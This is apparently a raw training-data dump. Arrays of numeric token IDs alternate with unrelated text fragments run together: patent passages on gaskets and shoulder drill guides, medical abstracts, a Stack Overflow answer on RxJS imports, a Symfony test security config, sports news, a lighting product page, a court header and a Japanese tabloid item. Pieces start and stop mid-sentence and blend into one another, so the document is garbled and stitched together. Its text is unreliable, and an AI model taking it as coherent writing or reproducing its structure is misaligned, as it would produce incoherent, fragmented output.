12235, 9478, 275, 2151, 15, 187, 7910, 2151, 13, 10652, 854, 285, 1249, 13, 497, 2326, 4102, 387, 253, 40256, 50243, 2499, 8710, 5197, 285, 28634, 30647, 4214, 8896, 342, 5654, 11860, 4975, 281, 253, 1684, 46788, 267, 12235, 15, 6295, 1363, 3559, 342, 3563, 10552, 1563, 9829, 42393, 4975, 281, 253, 1684, 46788, 267, 12235, 15, 2058, 9759, 13, 16891, 20205, 497, 36385, 494, 5747, 1534, 19561, 18571, 4975, 15, 1780, 350, 74, 3756, 7000, 27784, 1684, 46788, 267, 12235, 27627, 983, 275, 1097, 2151, 13, 285, 271, 7463, 74, 13606, 528, 49214, 275, 581, 1429, 15, 2053, 767, 2151, 1957, 253, 25423, 1363, 5950, 275, 253, 9205, 6239, 342, 5654, 11860, 14977, 281, 253, 1684, 46788, 267, 12235, 13, 6774, 4702, 273, 27784, 27627, 983, 13, 285, 271, 7463, 74, 13606, 528, 49214, 15, 380, 3629, 11659, 273, 11942, 285, 36064, 275, 253, 11692, 588, 2779, 2572, 253, 9364, 273, 824, 9478, 281, 2151, 15, 1284, 27007, 407, 841, 2151, 13, 36385, 494, 20205, 16891, 281, 271, 4975, 513, 417, 691, 87, 4513, 253, 878, 323, 7463, 74, 3756, 672, 18571, 4975, 310, 13282, 15, 5271, 11426, 8706, 273, 253, 11062, 12235, 390, 14433, 342, 1125, 11426, 17716, 13684, 310, 29224, 323, 8706, 273, 11172, 9478, 275, 2151, 15, 8683, 2775, 42, 13, 7422, 13, 4416, 15, 3495, 313, 58, 251, 73, 522, 10, 1969, 1284, 253, 4059, 17802, 17165, 12491, 281, 247, 2810, 1060, 275, 7422, 13, 253, 2927, 273, 253, 28802, 1533, 3531, 281, 253, 3684, 13247, 3874, 273, 367, 6683, 543, 1779, 606, 13, 253, 3167, 273, 253, 1735, 17802, 12568, 275, 4765, 15, 187, 187, 510, 19898, 29565, 369, 14048, 689, 432, 1893, 4635, 281, 367, 6683, 543, 1779, 606, 1309, 253, 11196, 16730, 387, 37459, 384, 19898, 21246, 327, 6926, 13, 285, 352, 588, 320, 4934, 275, 253, 3684, 13247, 3167, 689, 253, 1735, 1740, 1107, 15, 17835, 27, 187, 187, 22147, 1163, 187, 187, 27902, 1406, 571, 434, 3238, 403, 1959, 984, 253, 4422, 310, 24834, 407, 253, 16596, 15, 1422, 588, 320, 2546, 1996, 604, 368, 5730, 281, 4763, 32933, 533, 368, 476, 1333, 642, 285, 588, 452, 642, 12291, 281, 3238, 15, 5623, 8425, 272, 281, 322, 6665, 1406, 571, 588, 4745, 1581, 368, 281, 27, 187, 187, 19262, 1584, 634, 2136, 323, 1959, 949, 247, 5702, 4384, 2170, 15, 30629, 588, 320, 32891, 327, 253, 3186, 14917, 949, 634, 8761, 285, 4328, 15, 187, 187, 20, 37, 15632, 1959, 6184, 13, 495, 69, 3210, 1847, 307, 531, 407, 33500, 15, 187, 187, 11509, 1487, 2171, 3197, 285, 1480, 1066, 4515, 1708, 407, 2097, 273, 271, 8527, 15862, 15, 380, 7356, 310, 275, 271, 351, 1025, 47645, 275, 1264, 30214, 27, 3626, 13, 2806, 285, 5328, 15, 380, 2171, 4537, 310, 275, 4797, 1133, 12710, 24684, 20495, 375, 300, 9038, 5253, 15, 380, 1708, 310, 4797, 37220, 15, 187, 187, 6825, 3081, 1491, 323, 1847, 307, 531, 187, 187, 17389, 10558, 66, 591, 11, 187, 187, 17835, 11, 187, 187, 2402, 285, 38213, 11, 187, 187, 10504, 11, 187, 187, 12236, 11, 187, 187, 8983, 6307, 11, 187, 187, 11509, 1090, 11, 187, 187, 32351, 11, 187, 187, 21093, 11, 187, 187, 20459, 11, 187, 187, 28014, 11, 187, 187, 6825, 187, 187, 15886, 253, 2127, 2011, 1840, 11, 187, 187, 11, 42, 11165, 326, 309, 452, 1239, 285, 2997, 322, 6665, 1406, 571, 434, 26746, 273, 7890, 285, 24471, 11981, 15, 309, 3103, 1918, 322, 6665, 1406, 571, 9214, 281, 15452, 285, 897, 619, 3367, 941, 13, 347, 18627, 275, 253, 18979, 3646, 537, 24471, 1491, 187, 187, 11, 42, 1581, 33500, 281, 3057, 479, 670, 1885, 11269, 390, 3668, 15, 26746, 273, 7890, 50254, 50276, 48949, 2111, 273, 9892, 187, 50254, 50270, 5003, 18089, 13, 6112, 535, 50254, 50266, 50276, 43, 7273, 40, 10634, 187, 50254, 50266, 2302, 15, 16703, 14, 1093, 14, 361, 30467, 14, 8887, 535, 50254, 50272, 17239, 399, 15, 416, 8875, 285, 353, 15, 20222, 23773, 13, 187, 50254, 245, 50265, 209, 27528, 535, 50254, 979, 50263, 87, 15, 535, 50256 ]

ilitarized Zone (DMZ) any U.S. bomber or fighter aircraft has been in the 21st Century. The President also recently shut down Secretary of State Rex Tillerson’s statements that the U.S. has an open line of communication with Pyongyang, and would hope to solve the conflict diplomatically. Trump alluded to the fact that his Administration and, most likely, the U.S. Military would be taking care of the situation on the Korean Peninsula.An in-situ expandable gasket is required in certain applications where a clamping force cannot be applied to the gasket to form a seal. One such application is in a turbine compressor for providing cabin pressurization in an airplane. The compressor is constructed in multiple stages with the rotor blades detachably connected to the rotor leaving a small clearance between the base of each blade tip and the rotor disk. In the lower stages of compression where the temperature is relatively low an elastomeric polymer or rubber material may be placed into this space to form a seal. If the space is not sealed pressurized cabin air will escape through this space reducing efficiency. However, at the higher stages of compression where the temperature is relatively high and may rise to 400.degree. F. or higher, conventional elastomer or rubber gaskets deteriorate and cannot withstand the environment. Other conventional gasket materials which can endure higher temperatures including flexible graphite depend upon the application of a clamping force to form a seal. An expandable seal is desirable for applications which do not depend upon a clamping force to form a seal and particularly where the seal must be effective above ambient temperatures.Q: Error: rxjs/Subject"' has no exported member 'Subject' I have this code: import { Subject } from 'rxjs/Subject'; After importing this, I get the error rxjs/Subject" has no exported member 'Subject'. I am not able to resolve this. Could anybody suggest a solution? A: It looks you use RxJS v6. In v6, the way you import resources has been made much more easy. Your import should be like the following: import {Subject} from 'rxjs'; For more details read the migration guide. Hypotensive anesthesia with propofol and remifentanil: protective effect of alpha-tocopherol on renal function. To determine the effect of alpha-tocopherol in patients receiving hypotensive anesthesia with propofol-remifentanil. Prospective, randomized study. University hospital. 66 ASA physical status I and II patients, aged 32 to 56 years, scheduled for nasal polypectomy. Patients were allocated into two groups, the treatment and the control groups (T group and C group). T group received alpha-tocopherol 300 mg orally 5 to 6 hours before surgery. Sampling times and measurements were done before hypotension (t0), 45 minutes after starting hypotension (t1), 90 minutes after starting hypotension (t2), 45 minutes after recovery of normotension (t3), and 24 hours after surgery (t4). Renal function was assessed by testing glomerular and tubular functions: glomerular filtration rate, fractional excretion of sodium (FENA); fractional excretion of urea (FEUN); and urinary N-acetyl-1-beta-D-glucosoaminidase (NAG) index (NAGi). Glomerular filtration rate values remained unchanged in all patient populations. Fractional excretion of sodium was within reference ranges in both groups at times t0, t1, and t2. At time t3, a significant FE(NA) peak was observed. At this time, FENA was significantly higher in C group than T group (P < 0.001). FEUN time course was similar to the FENA trend. At time t4, FENA and FEUN returned to basal values. At time t3, NAGi was also increased without significant intergroup differences (P < 0.01, P < 0.001, and P < 0.01 vs times t0, t1, t2 in C group, respectively; P < 0.01, P < 0.01, and P < 0.001 vs times t0, t1, and t2 in T group, respectively). In patients without any renal disease, hypotensive anesthesia with propofol and remifentanil results in a transient tubular dysfunction, which appears to be minimized by the preoperative administration of alpha-tocopherol.imports: - { resource:./../config/default.yml } services: csrf_form_login.form.type: class: Symfony\Bundle\SecurityBundle\Tests\Functional\Bundle\CsrfFormLoginBundle\Form\UserLoginType arguments: - '@request_stack' tags: - { name: form.type } security: encoders: Symfony\Component\Security\Core\User\User: plaintext providers: in_memory: memory: users: johannes: { password: test, roles: [ROLE_USER] } firewalls: # This firewall doesn't make sense in combination with the rest of the # configuration file, but it's here for testing purposes (do not use # this file in a real world scenario though) login_form: pattern: ^/login$ security: false default: logout_on_user_change: true form_login: check_path: /login_check default_target_path: /profile target_path_parameter: "user_login[_target_path]" failure_path_parameter: "user_login[_failure_path]" username_parameter: "user_login[username]" password_parameter: "user_login[password]" csrf_parameter: "user_login[_token]" csrf_token_generator: security.csrf.token_manager anonymous: ~ logout: path: /logout_path target: / csrf_token_generator: security.csrf.token_manager access_control: - { path:.*, roles: IS_AUTHENTICATED_FULLY } Penetrating popliteal artery injuries in children. Two children, aged 8 and 12, were seen recently at the Vanderbilt University Medical Center and Metropolitan Nashville General Hospital with gunshot injury to the popliteal artery. Both patients presented with late complications following missed penetrating injury to the popliteal artery. At presentation, distal pulses were palpable despite significant proximal arterial injury. Arteriography detailed traumatic popliteal artery aneurysms in both children, and an arteriovenous fistula in one child. These two children represent the youngest patients recorded in the surgical literature with gunshot trauma to the popliteal artery, subsequent formation of traumatic aneurysms, and an arteriovenous fistula. The increasing availability of guns and rifles in the household will likely increase the incidence of such injuries to children. As evidenced by these children, palpable pulses distal to an injury do not obviate the need for arteriography when arterial injury is suspected. Autogenous repair of the injured artery or reconstruction with autogenous vein graft is preferable for repair of vascular injuries in children.SOCHI, Russia, Feb. 23 (Yonhap) -- As the 2014 Winter Olympics drew to a close here in Russia, the eyes of the sporting world turned to the South Korean town of PyeongChang, the host of the next Winter Games in 2018. The Olympic Flag was handed over from Sochi to PyeongChang during the closing ceremony at Fisht Olympic Stadium on Sunday, and it will be kept in the South Korean host over the next four years.Email: Password : Syncronia's services are free because the website is sponsored by the manufacturers. You will be asked later if you wish to receive advertisements but you can say no and will have no limitation to services.Subscribing to Syncronia will immediately allow you to: Promote your business for free through a professional web area. Pages will be indexed on the search engines through your profession and location. 3D lighting free download, 3d models Plutone by Album. Provides diffused and direct downwards light by means of an integrated LED. The stick is in anodized aluminium in three finishes: natural, black and gold. The diffuser is in blue handmade blown borosilicate glass. The light is blue coloured. Request additional information for Plutone Richiesta per* Email* Name and surname* Phone* Address* Post Code* Province* Country* City* Job* School* Request Enter the code shown above* *I declare that I have read and accept Syncronia's Terms of Use and Privacy Policy. I therefore give Syncronia permission to publish and use my personal data, as outlined in the aforementioned policy.. Privacy information *I allow Album to contact me about product updates or news. Terms of Use Fourth Court of Appeals San Antonio, Texas JUDGMENT No. 04-18-00694-CV Paul D. RICE and M. Susan Rice, Appellants v.

[ 4746, 5494, 219, 20557, 215, 3917, 27033, 29734, 6344, 41870, 3193, 227, 3193, 227, 3193, 227, 23366, 6449, 34138, 216, 19857, 4746, 16877, 37203, 10786, 35482, 12448, 211, 6996, 6957, 21700, 116, 19857, 46212, 4340, 6916, 98, 13127, 240, 10786, 5891, 13442, 18757, 5891, 4746, 23956, 110, 32378, 3917, 19067, 20776, 13752, 6088, 165, 104, 237, 14321, 6449, 26335, 243, 13129, 18757, 4340, 2756, 187, 24412, 8841, 243, 42930, 3917, 24545, 243, 161, 113, 116, 1357, 217, 6218, 9146, 13764, 98, 37531, 98, 39593, 9345, 30723, 13748, 25538, 37203, 5444, 20281, 18514, 3917, 6418, 41870, 3193, 230, 19144, 3917, 16549, 235, 19144, 20281, 4340, 33124, 37203, 3917, 37933, 219, 43136, 6418, 30423, 14016, 23872, 9146, 11473, 46212, 13752, 29474, 4340, 24545, 243, 161, 113, 116, 13764, 98, 37531, 98, 6418, 31902, 213, 1769, 225, 16740, 3917, 48815, 33836, 105, 6449, 30903, 14016, 28812, 232, 16800, 96, 41102, 4340, 2756, 187, 13748, 45387, 231, 18751, 211, 6418, 24545, 120, 18309, 9935, 8509, 14016, 18757, 4340, 45776, 42165, 13609, 32365, 6957, 38591, 4746, 31229, 24149, 28405, 13973, 18514, 49764, 4746, 21700, 223, 165, 103, 230, 6449, 28215, 224, 20584, 30723, 13127, 118, 46674, 5891, 34198, 6957, 27098, 6088, 35636, 5151, 35550, 4340, 15936, 18309, 14010, 3917, 19780, 241, 5151, 8509, 9345, 6686, 5832, 32026, 220, 29645, 4340, 14016, 46674, 9345, 6088, 21232, 38389, 6686, 14318, 97, 3917, 16385, 103, 11871, 113, 6957, 7149, 30723, 11039, 46016, 4340, 8509, 6218, 5690, 232, 22010, 15124, 5151, 20776, 15275, 4340, 20603, 10446, 5444, 5151, 5832, 13639, 13973, 26443, 209, 18678, 6261, 14321, 6261, 15275, 4340, 36644, 26772, 6218, 11473, 3917, 27098, 20005, 4746, 765, 239, 765, 112, 11016, 98, 21700, 96, 6449, 20720, 13129, 5151, 26680, 13752, 6088, 18957, 20557, 236, 6449, 27804, 31355, 6261, 18617, 122, 46674, 9146, 17531, 6218, 4340, 2756, 187, 31902, 213, 1769, 225, 16740, 6957, 25276, 17955, 241, 5891, 45950, 22010, 21163, 236, 25276, 13748, 26552, 3917, 25762, 113, 13752, 6418, 13748, 44290, 11016, 211, 6344, 11908, 39691, 15815, 6088, 36387, 118, 20287, 45261, 6088, 6418, 163, 118, 212, 6449, 6765, 218, 11473, 4746, 37248, 6418, 37895, 108, 27804, 3917, 5690, 232, 22010, 6449, 41102, 28254, 20776, 4340, 12005, 104, 46549, 6418, 18757, 6344, 5891, 43972, 9935, 40404, 13752, 6088, 8587, 244, 31982, 15124, 4340, 2756, 187, 39984, 45776, 30903, 8509, 5832, 31902, 213, 1769, 225, 16740, 765, 118, 3917, 1628, 12005, 104, 46549, 17694, 36924, 26003, 40895, 668, 4340, 18957, 13484, 6418, 20603, 9935, 35636, 50169, 3917, 13973, 34198, 9935, 9146, 4340, 31352, 1222, 6282, 14, 34552, 378, 2804, 8352, 187, 187, 510, 10867, 1222, 6282, 14, 34552, 378, 2804, 8352, 556, 247, 9848, 9851, 14, 484, 1899, 281, 2572, 634, 1673, 273, 8113, 285, 5252, 327, 253, 3971, 390, 11693, 15, 25956, 4205, 11355, 253, 10502, 273, 23678, 285, 29952, 4269, 407, 2819, 1066, 15, 26713, 407, 5847, 285, 12085, 42094, 13, 352, 434, 253, 3962, 1635, 281, 634, 10867, 1222, 4382, 15, 14102, 87, 2179, 13877, 187, 187, 20443, 374, 13, 4059, 13, 374, 27, 2640, 247, 15, 78, 15, 187, 14, 187, 20678, 610, 41379, 25642, 13, 8978, 13, 273, 40534, 518, 360, 556, 16139, 2923, 1264, 2069, 275, 253, 2469, 3578, 1107, 15, 754, 369, 806, 11245, 342, 2602, 40961, 2923, 275, 6469, 13, 342, 6400, 2923, 275, 5215, 13, 285, 840, 4318, 3817, 2923, 275, 4072, 15, 60, 34182, 641, 13567, 2614, 2957, 275, 2264, 12267, 48395, 44406, 1363, 1570, 187, 510, 4388, 273, 253, 1263, 369, 281, 4271, 253, 2616, 13567, 2201, 2614, 2957, 275, 1363, 17362, 2264, 12267, 48395, 44406, 313, 53, 24338, 582, 275, 1340, 281, 4796, 2614, 2957, 285, 6095, 323, 2614, 34190, 15, 831, 13893, 14871, 1263, 2908, 5096, 16, 19105, 1363, 4127, 407, 308, 24338, 387, 2499, 8896, 273, 6572, 21154, 1497, 13, 49524, 21363, 13, 42862, 13, 432, 4247, 5826, 7357, 4565, 5215, 15, 380, 1563, 3602, 497, 5867, 27, 3110, 2363, 13, 2825, 13, 2133, 2280, 3605, 313, 31685, 582, 18571, 2614, 3473, 13, 26308, 30242, 1268, 285, 30242, 1268, 17691, 2614, 34190, 13, 2978, 273, 5869, 13, 2614, 2957, 285, 4644, 273, 2614, 47415, 3197, 15, 4794, 281, 3110, 2363, 13, 627, 497, 642, 3910, 275, 253, 2978, 273, 5869, 13, 2614, 2957, 4644, 13, 30242, 1268, 1078, 2614, 34190, 285, 897, 273, 2614, 34190, 15, 8937, 254, 1363, 574, 2406, 30242, 1268, 1078, 2614, 34190, 285, 2959, 3687, 14118, 273, 2614, 34190, 13, 533, 253, 3064, 369, 417, 10126, 1534, 15, 23588, 1363, 574, 247, 3012, 2169, 26308, 30242, 1268, 347, 2429, 281, 5343, 1363, 313, 49, 426, 470, 15, 12522, 481, 380, 1599, 4644, 273, 2614, 2957, 285, 273, 47415, 3197, 2614, 369, 4067, 275, 5086, 685, 5343, 1363, 13, 2299, 13, 253, 3064, 858, 417, 3986, 7605, 8453, 15, 4794, 281, 15481, 13, 627, 497, 642, 3910, 275, 253, 2978, 273, 5869, 13, 2614, 2957, 13, 4644, 273, 47415, 3197, 2614, 285, 30242, 1268, 1078, 34190, 15, 12493, 342, 247, 2406, 26308, 30242, 1268, 858, 417, 7168, 625, 2614, 1309, 285, 846, 5869, 13, 533, 253, 8284, 323, 2614, 34190, 369, 3012, 2169, 313, 49, 426, 470, 15, 11494, 481, 8305, 8292, 3134, 1363, 574, 247, 10126, 3687, 24109, 7105, 2614, 2957, 313, 49, 426, 470, 15, 22439, 582, 533, 858, 417, 4763, 625, 47415, 3197, 2614, 313, 49, 426, 470, 15, 32942, 481, 5729, 7105, 30242, 1268, 369, 2169, 275, 1363, 342, 10702, 18571, 2614, 3473, 685, 275, 1110, 342, 2622, 2614, 3473, 13, 533, 253, 3064, 369, 417, 10126, 1534, 313, 49, 426, 470, 15, 44159, 481, 18402, 20491, 1268, 1078, 2614, 34190, 369, 671, 2169, 275, 41039, 1363, 685, 275, 1110, 342, 2622, 2614, 3473, 13, 533, 352, 369, 417, 10126, 1534, 313, 49, 426, 470, 15, 21340, 481, 496, 1363, 342, 3356, 7467, 273, 5869, 13, 2614, 2957, 285, 4644, 273, 2614, 47415, 3197, 2614, 497, 10126, 3012, 3687, 313, 49, 426, 470, 15, 4838, 285, 367, 426, 470, 15, 10496, 13, 2975, 481, 12602, 1543, 20714, 247, 1534, 2762, 5921, 875, 253, 2978, 273, 5869, 285, 253, 4644, 273, 2614, 2957, 313, 83, 426, 470, 15, 28899, 28, 367, 426, 470, 15, 13925, 10, 347, 973, 347, 875, 253, 2978, 273, 5869, 285, 253, 4644, 273, 2614, 47415, 3197, 313, 83, 426, 470, 15, 28615, 28, 367, 426, 470, 15, 2874, 481, 329, 1534, 4016, 5921, 369, 4232, 875, 253, 26308, 30242, 1268, 285, 2898, 273, 2614, 34190, 313, 83, 426, 428, 17, 15, 9519, 28, 367, 426, 470, 15, 14521, 481, 12493, 342, 14300, 574, 247, 3012, 4067, 2614, 2957, 4644, 347, 2429, 281, 1363, 342, 2622, 18571, 3473, 313, 49, 426, 470, 15, 22439, 10, 285, 2959, 625, 2614, 47415, 16723, 685, 1363, 342, 2622, 2614, 3473, 13, 533, 253, 3064, 369, 417, 10126, 1534, 313, 49, 426, 470, 15, 32942, 481, 11362, 13, 2825, 285, 15481, 574, 642, 10126, 1534, 1055, 327, 2614, 2957, 4644, 285, 2898, 273, 2614, 34190, 15, 23588, 1363, 574, 247, 3012, 2169, 26308, 30242, 1268, 313, 49, 30, 17, 15, 12522, 582, 4067, 1599, 2614, 2957, 4644, 313, 49, 426, 470, 15, 30768, 10, 285, 2959, 625, 2614, 47415, 16723, 685, 5343, 1363, 13, 2299, 13, 253, 3064, 858, 417, 3986, 7605, 8453, 313, 49, 426, 470, 15, 33730, 481, 10635, 327, 1263, 1543, 13, 352, 310, 7945, 326, 6095, 323, 2614, 34190, 588, 320, 3687, 275, 1363, 342, 14300, 285, 2406, 26308, 30242, 1268, 347, 973, 347, 275, 512, 2219, 342, 3356, 7467, 273, 5869, 15, 1916, 4796, 253, 897, 273, 512, 6679, 280, 2614, 34190, 13, 352, 310, 3309, 281, 3451, 18571, 2614, 3473, 1078, 5869, 275, 41039, 1363, 285, 671, 281, 2849, 1419, 26308, 30242, 1268, 604, 352, 310, 2406, 15, 6067, 3688, 7033, 281, 6576, 323, 9591, 9373, 45647, 5869, 285, 3782, 323, 6576, 908, 275, 13828, 14910, 273, 1363, 281, 4763, 48199, 4095, 15, 496, 1798, 13, 776, 3688, 7033, 281, 247, 21353, 7102, 285, 7646, 1907, 247, 10898, 6036, 734, 7334, 875, 247, 6016, 285, 253, 7646, 15, 380, 10898, 6036, 476, 320, 12623, 13, 5277, 1270, 15840, 5678, 342, 7882, 15, 844, 452, 1119, 776, 3688, 3782, 4217, 323, 13828, 253, 1289, 41064, 13369, 273, 247, 9215, 13, 835, 2289, 778, 320, 3782, 20793, 13, 533, 776, 3688, 310, 7763, 281, 9373, 45647, 7259, 3839, 15, 187, 3980, 394, 45647, 27067, 534, 8171, 45644, 390, 7154, 22136, 403, 973, 14, 4304, 15, 496, 3332, 1107, 13, 2299, 13, 27067, 452, 2489, 9592, 2570, 285, 10799, 15, 6201, 49485, 32094, 323, 7899, 13, 7446, 494, 9205, 5609, 594, 326, 10799, 13840, 476, 320, 2797, 15, 32483, 3057, 875, 5961, 285, 17248, 31006, 556, 644, 1119, 281, 2572, 1048, 14, 3945, 21746, 15, 500, 17638, 285, 22591, 476, 320, 908, 407, 30208, 323, 13828, 253, 5961, 281, 4763, 48199, 27067, 15, 7890, 273, 841, 22591, 778, 320, 20793, 13, 2299, 13, 407, 253, 8704, 2602, 4408, 13, 13370, 13, 285, 5257, 790, 273, 253, 3110, 13, 285, 407, 253, 5853, 273, 253, 1798, 20997, 15, 2053, 7364, 4647, 281, 512, 6036, 47105, 13, 533, 597, 3782, 4623, 323, 9215, 47105, 984, 253, 2130, 6498, 2316, 778, 320, 3782, 11096, 15, 743, 1650, 273, 247, 1289, 41064, 42043, 285, 9205, 5853, 310, 2529, 275, 530, 15, 52, 15, 2790, 15, 1621, 15, 577, 13, 26, 1540, 13, 25, 2082, 281, 45262, 2522, 13, 1162, 355, 904, 534, 9469, 310, 7922, 281, 253, 9212, 1796, 273, 776, 3688, 15, 1916, 3334, 253, 2813, 2529, 407, 45262, 2522, 13, 247, 20997, 651, 1927, 291, 247, 6507, 2553, 1561, 253, 1289, 41064, 13369, 1411, 534, 247, 6507, 24309, 2553, 273, 253, 1289, 41064, 42043, 651, 1551, 15, 380, 20997, 1364, 671, 21353, 7899, 11385, 323, 759, 5943, 15, 1310, 253, 42043, 310, 13613, 10877, 327, 253, 5961, 13, 253, 42043, 588, 417, 5561, 1411, 253, 5961, 285, 253, 6036, 651, 320, 1679, 2779, 281, 1891, 15, 380, 20997, 943, 3103, 13, 13613, 10347, 253, 1289, 41064, 2553, 281, 4763, 253, 42043, 15, 187, 1992, 10347, 253, 2553, 13, 21353, 22591, 285, 20665, 452, 644, 908, 15, 496, 253, 2469, 13, 2299, 13, 841, 21353, 22591, 452, 3839, 644, 10877, 342, 4229, 22139, 15, 329, 4229, 6016, 3400, 7882, 323, 253, 21353, 7102, 13, 533, 253, 21353, 7102, 2550, 320, 4354, 12956, 281, 253, 1798, 3110, 390, 253, 3740, 273, 253, 16362, 20997, 15, 20599, 273, 824, 21353, 22591, 2130, 281, 30208, 403, 1110, 4197, 407, 6943, 2755, 323, 616, 6943, 43712, 792, 29369, 14592, 2698, 12266, 14482, 254, 285, 6943, 12406, 25323, 14592, 2698, 14482, 254, 390, 407, 35122, 8710, 6487, 323, 616, 330, 1171, 1001, 29369, 14592, 2698, 12266, 14482, 254, 4155, 15, 187, 1147, 310, 271, 1789, 273, 776, 3688, 13, 3103, 13, 281, 2085, 247, 21353, 7102, 323, 897, 275, 9373, 45647, 5869, 534, 476, 5223, 281, 3110, 30559, 285, 9205, 5853, 15, 187, 1147, 310, 671, 271, 1789, 273, 776, 3688, 281, 2085, 247, 21353, 7102, 534, 476, 320, 1097, 5223, 494, 285, 6474, 15, 187, 8195, 1789, 273, 776, 3688, 310, 281, 2085, 247, 9205, 21353, 7102, 342, 247, 6016, 534, 476, 320, 1863, 400, 17371, 281, 247, 6799, 1899, 285, 12623, 275, 1899, 15, 40091, 6527, 6327, 48047, 818, 2949, 44202, 33995, 1433, 1372, 9277, 17509, 45516, 947, 187, 187, 13443, 11451, 187, 187, 15886, 14721, 253, 5753, 275, 253, 896, 7319, 1293, 2192, 663, 1076, 1512, 1199, 4723, 327, 634, 4310, 2395, 15, 187, 187, 18142, 74, 706, 18272, 434, 329, 11804, 29412, 37, 8528, 18332, 818, 8, 3492, 3601, 342, 4270, 14, 249, 17509, 4760, 24772, 512, 253, 4295, 368, 878, 323, 247, 6109, 3492, 985, 275, 247, 11638, 5522, 1293, 247, 2972, 67, 8976, 4376, 6809, 15, 187, 187, 510, 985, 417, 760, 7120, 634, 17509, 11321, 13, 352, 1833, 6016, 634, 45444, 285, 12732, 20, 4367, 13, 1512, 15, 187, 187, 1147, 3249, 342, 767, 5239, 273, 11744, 40613, 285, 30171, 247, 4270, 14, 249, 26518, 13, 594, 634, 16479, 275, 896, 476, 8028, 281, 5913, 597, 1472, 7487, 275, 11068, 1223, 368, 4264, 634, 275, 14, 27207, 36167, 598, 2914, 15, 187, 187, 3980, 13, 604, 253, 2644, 1113, 5605, 281, 6604, 275, 327, 253, 794, 13, 368, 476, 897, 253, 11744, 20160, 26518, 281, 8325, 253, 9797, 2625, 281, 634, 36167, 13, 534, 686, 31876, 44358, 8, 352, 689, 271, 30732, 20160, 4294, 13, 987 ]

、予約の時点で１０００件を超え、以後もオーダーが絶えません。宣伝もしていないし、異例のことです」と驚きを隠さない。同映画の池島ゆたか監督によれば「最後に会ったのは１３年の忘年会。その後の消息は全くわかりません」という。池島監督は坂ノ上の素質を高く評価している。「演技は決してうまくない。でも集中力があり、マジメだったので、経験を積めば伸びしろがあると思いました。そしてあの類いまれなる肉体。くびれと自然な形の巨乳がすばらしい。また仕事したいですよ。どこにいるんだ？出てきてよ。心当たりのある方、ぜひ連絡を下さい！」と本紙を通じて呼びかけた。坂ノ上が所属していた事務所「月の石」は「引退でスパッと芸能界とは縁を切り、今は普通の仕事をしているようです。復活はないでしょうね」と断言した。それでも高まる坂ノ上への“復活ラブコール”。本人はどう思っているのだろうか。Garmin Out-Front Bike Mount The Garmin Out-Front Bike Mount has a comfortable heads-up position to increase your field of vision and safety on the road or trail. Forward mount reduces the risks of accidents and hazards caused by looking down. Used by pros and competitive cyclists, it's the perfect addition to your Garmin computer.Surviving Cancer July 2, 2014, 2:02 a.m. - Larry Zaruba, 59, of Yoakum has survived cancer three times in the past ten years. He was first diagnosed with soft palette cancer in 2003, with lung cancer in 2007, and then voice box cancer in 2013.[Factors affecting blood loss in total knee arthroplasty patients]. The aim of the study was to identify the factors affecting major blood loss in patients undergoing total knee arthroplasty (TKA), in order to reduce blood loss and requirements for blood transfusion. This prospective randomized study included 80/184 patients treated by TKA at University Hospital of Traumatology, Zagreb, Croatia, from January 2005 till December 2007. The following parameters were analyzed: patient age, sex, body mass index (BMI), arterial blood pressure, preoperative hemoglobin level and hemoglobin level preceding blood transfusion, length of surgery, blood loss and volume of blood transfused. According to patient age, there were no differences in the length of surgery, blood loss volume, hemoglobin level before blood transfusion and use of blood transfusion. Older patients had lower hemoglobin level before blood transfusion and received greater volumes of blood transfusion, but the difference was not statistically significant. Male patients had a significantly higher preoperative hemoglobin level as compared to female patients (P = 0.012). The mean volume of blood loss and of transfused blood was larger in male than female patients, however, the difference did not reach statistical significance. According to BMI, there were no differences in the length of surgery, blood loss, volume of transfused blood and hemoglobin level before transfusion. Patients with a lower preoperative hemoglobin level did not lose more blood during and after surgery, but the requirement for blood transfusion was significantly higher (P = 0.014). Hypertensive patients had a statistically greater perioperative blood loss (P = 0.038), but did not receive more transfused blood (P = 0.494). Preoperative hemoglobin level was higher in patients with elevated arterial blood pressure than in those with normal blood pressure, but the difference was not statistically significant (P = 0.595). Hemoglobin level before blood transfusion was also higher in hypertensive patients than in those with normal blood pressure, but it was not statistically significant (P = 0.288). In patients with longer duration of surgery, blood loss and volume of blood transfused blood were statistically significantly greater (P = 0.003 and P = 0.015, respectively). Study results yielded a significant positive correlation between the length of surgery and the volume of blood loss (r = 0.282; P = 0.011) as well as between the length of surgery and the volume of blood transfused (r = 0.362; P = 0.001). A significant negative correlation was established between the preoperative hemoglobin level and application of blood transfusion (r = -0.250; P = 0.025). Patients with hypertension had a significantly larger blood loss volume as compared to patients with normal arterial pressure (P = 0.038) and received more blood transfusions than patients with normal blood pressure, but the difference was not statistically significant (P = 0.494). Age, sex and BMI had no statistically significant effect on blood loss volume and application of blood transfusion. Male patients had a significantly higher preoperative hemoglobin level (P=0.012), larger mean blood loss volume (P = 0.057) and received more blood transfusions than female patients, however, the difference did not reach statistical significance (P = 0.562). Based on study results, it is concluded that requirements for blood transfusion will be greater in patients with hypertension and lower preoperative hemoglobin level as well as in all cases with longer duration of surgery. To reduce the use of allogeneic blood transfusion, it is necessary to correct arterial blood pressure before surgery in hypertensive patients and also to magnify preoperative hemoglobin level if it is lower.Our invention relates to apparatus for performing orthopedic surgery and particularly for apparatus used in preparing bones of patients to receive prosthetic devices. In particular, our invention relates to a drill guide and template having a universal joint interposed between a handle and the template. The universal joint can be locked, providing great flexibility combined with stability. We have found our invention particularly useful for preparing the glenoid cavity of a shoulder, where access may be particularly constrained, but our invention is applicable to orthopedic procedures generally. Orthopedic implants which replace diseased or broken joints are well-known. In recent years, however, implants have become increasingly complex and precise. Surgeons strive for accurate, replicable surgical techniques so that precise fits can be obtained. Increased contact between bone and prostheses has been found to increase long-term fixation. Jigs and guides can be used by surgeons for preparing the bone to receive prosthetic implants. Use of these guides may be constrained, however, by the surrounding soft tissue, muscles, and tendons of the patient, and by the technique of the particular surgeon. These limitations apply to all joint replacements, but they particularly relevant for shoulder replacements because the available operating room may be particularly restricted. An example of a glenoid prosthesis and surgical technique is described in U.S. Pat. No. 4,964,865 to Burkhead, et al., which patent is assigned to the assignee of our invention. To install the device described by Burkhead, a surgeon would resect a flat surface within the glenoid cavity against which a flat medial surface of the glenoid prosthesis would rest. The surgeon must also drill accurate holes for pegs. If the prosthesis is accurately mounted on the bone, the prosthesis will not rock against the bone and the joint would be less likely to fail. The surgeon should therefore, accurately prepare the glenoid surface to receive the prosthesis. To prepare the surface, drill guides and templates have been used. In the past, however, these drill guides have generally been mounted with fixed handles. A fixed handle provides stability for the drill guide, but the drill guide cannot be easily adapted to the particular patient or the style 